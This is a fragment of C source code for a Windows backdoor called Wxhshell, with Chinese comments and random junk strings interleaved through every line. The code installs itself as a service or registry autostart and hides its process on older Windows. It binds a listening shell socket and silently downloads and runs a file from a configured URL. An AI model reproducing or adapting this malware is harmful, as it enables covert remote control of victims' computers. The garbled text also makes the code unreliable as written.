&\ jHZ<Gc hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E0PBdiD6hs if(!hProcess) return 0; 2g v(`NKYE vtT:c.~d if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &Gt9a-ne +Snjb0 CloseHandle(hProcess); , $=V !14z4]b hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0.5_,an3 if(hProcess==NULL) return 0; m4
(Fuu (TQXG^n$gY HMODULE hMod; 'mM5l*{ char procName[255]; !1_:n D unsigned long cbNeeded; G7<X l} Tk:y>P!%a if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .PxM
#;i2 %"6IAt CloseHandle(hProcess); NlMx!f>b%/ 3^a"$VW1 if(strstr(procName,"services")) return 1; // 以服务启动 L$Q+R' &Hqu`A/^ return 0; // 注册表启动 rG]Xgq" } _V?Q4}7d/ (
FRf.mv{ // 主模块 1XKk~G"D int StartWxhshell(LPSTR lpCmdLine) Sm,$~~iq} { xl^'U/ SOCKET wsl; {%Y7]*D BOOL val=TRUE; ;sf/tX int port=0; +A3H#' struct sockaddr_in door; 9.B7Owgr89 HKwGaCj` if(wscfg.ws_autoins) Install(); |"<
I\Vs: y()( 8L port=atoi(lpCmdLine); uI[*uAR )em.KbsPPF if(port<=0) port=wscfg.ws_port; GwULtRa/ -iHhpD9"X WSADATA data; T_-MSXhA if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IY&a! ;z>YwRV if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; on\\;V_/Q setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >R<fm door.sin_family = AF_INET; _<7FR:oBZ door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ah`dt8t door.sin_port = htons(port); ZIp=JR8o$ u/f&Wq/ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p3o?_ !Z closesocket(wsl); _u>>+6,p return 1; :6+~"7T } u"jnEKN0y LayU)TIt if(listen(wsl,2) == INVALID_SOCKET) { 8g NEL+ closesocket(wsl); nmGHJb,$ return 1; a5M>1&j/eC } <GN?J.B Wxhshell(wsl); De_</1Au!2 WSACleanup(); as4NvZ@+r F?kVW[h?q return 0; @El<"\ *@nUas2" } ?s]`G'=>V` JPG!cX% // 以NT服务方式启动 4/?Zp4g VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fna>> { gOM`I+CwT DWORD status = 0; pS;dvZ DWORD specificError = 0xfffffff; D.b<I79bX val<N293L> serviceStatus.dwServiceType = SERVICE_WIN32; (T01hR& serviceStatus.dwCurrentState = SERVICE_START_PENDING; j+hoj2( serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b*KZe[#M1 serviceStatus.dwWin32ExitCode = 0; W\7*T1TDj serviceStatus.dwServiceSpecificExitCode = 0; v_0!uT5~NE serviceStatus.dwCheckPoint = 0; G
m! ]
serviceStatus.dwWaitHint = 0; Tt|6N*b' *
U4:K@y hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sBnPS[Oo if (hServiceStatusHandle==0) return; beE%%C]X <*(R+to^d status = GetLastError(); @`D6F;R if (status!=NO_ERROR) s_!Z+D$K { ~x:]ch| serviceStatus.dwCurrentState = SERVICE_STOPPED; -;$/< serviceStatus.dwCheckPoint = 0; vM/v}6;_K2 serviceStatus.dwWaitHint = 0; [)~@NN serviceStatus.dwWin32ExitCode = status; )g_zPt serviceStatus.dwServiceSpecificExitCode = specificError; ^E17_9? SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,IE0+!I return; ,v_r$kh^ } Y;Gm,
YPnJldVn serviceStatus.dwCurrentState = SERVICE_RUNNING; u0b-JJ7)BQ serviceStatus.dwCheckPoint = 0; sEyl\GL serviceStatus.dwWaitHint = 0; S45>f(! if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5i#w:O\cz } ^^l"brPa |81N/]EER // 处理NT服务事件,比如:启动、停止 .`N`M9 VOID WINAPI NTServiceHandler(DWORD fdwControl) 'Y\"^'OU\ { @98SC}}u switch(fdwControl) {C6;$#7P { UE w3AO case SERVICE_CONTROL_STOP: T9-a
uK0d serviceStatus.dwWin32ExitCode = 0; z&,sm5Lb serviceStatus.dwCurrentState = SERVICE_STOPPED; T
l(uqY?9 serviceStatus.dwCheckPoint = 0; |9]K:A serviceStatus.dwWaitHint = 0;
Tpx,41(k { 98'XSL| SetServiceStatus(hServiceStatusHandle, &serviceStatus); #/<Y!qV& } 4 GW[GT return; g}QTZT8 case SERVICE_CONTROL_PAUSE: %W;Gf9.w serviceStatus.dwCurrentState = SERVICE_PAUSED; 4ZpF1Zc4B break; 5O
;^Mk| case SERVICE_CONTROL_CONTINUE: z %E!tB2o serviceStatus.dwCurrentState = SERVICE_RUNNING; *%'7~58ObS break; G!%XQ\a! case SERVICE_CONTROL_INTERROGATE: {NgY8wQB break; \3?;[xD }; gEHfsR=D6 SetServiceStatus(hServiceStatusHandle, &serviceStatus); ArzsZ<\// } d ovwB`5 ^l&4UnLlc // 标准应用程序主函数 XYF~Q9~ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VQMd[/ { |o=ST
6F/
OlK< // 获取操作系统版本 jYID44$ OsIsNt=GetOsVer(); yc=#Jn?S GetModuleFileName(NULL,ExeFile,MAX_PATH); q<[ke
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// 从命令行安装 {0WIDD if(strpbrk(lpCmdLine,"iI")) Install(); 4Xk;Qd F6]!?@ // 下载执行文件 4 ~YQ\4h= if(wscfg.ws_downexe) { +gCy@_2; if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) P Xn>x8z WinExec(wscfg.ws_filenam,SW_HIDE); 1'm`SRX#e } {<4?o?
1g 6@;L$QYY-V if(!OsIsNt) { !nBm}E7d // 如果时win9x,隐藏进程并且设置为注册表启动 ikG9l&n HideProc(); 4eL54).1O StartWxhshell(lpCmdLine); 1"B9Z6jf } ?mfWm{QTt else 8!Mzr1: if(StartFromService()) ,xe@G)a // 以服务方式启动 %aE7id>v6 StartServiceCtrlDispatcher(DispatchTable); x][9ptrh else ^1yTL5#:Vw // 普通方式启动 <&EO=A StartWxhshell(lpCmdLine); 3nC#$L- #r^@*<{^ return 0; pjs9b%. }
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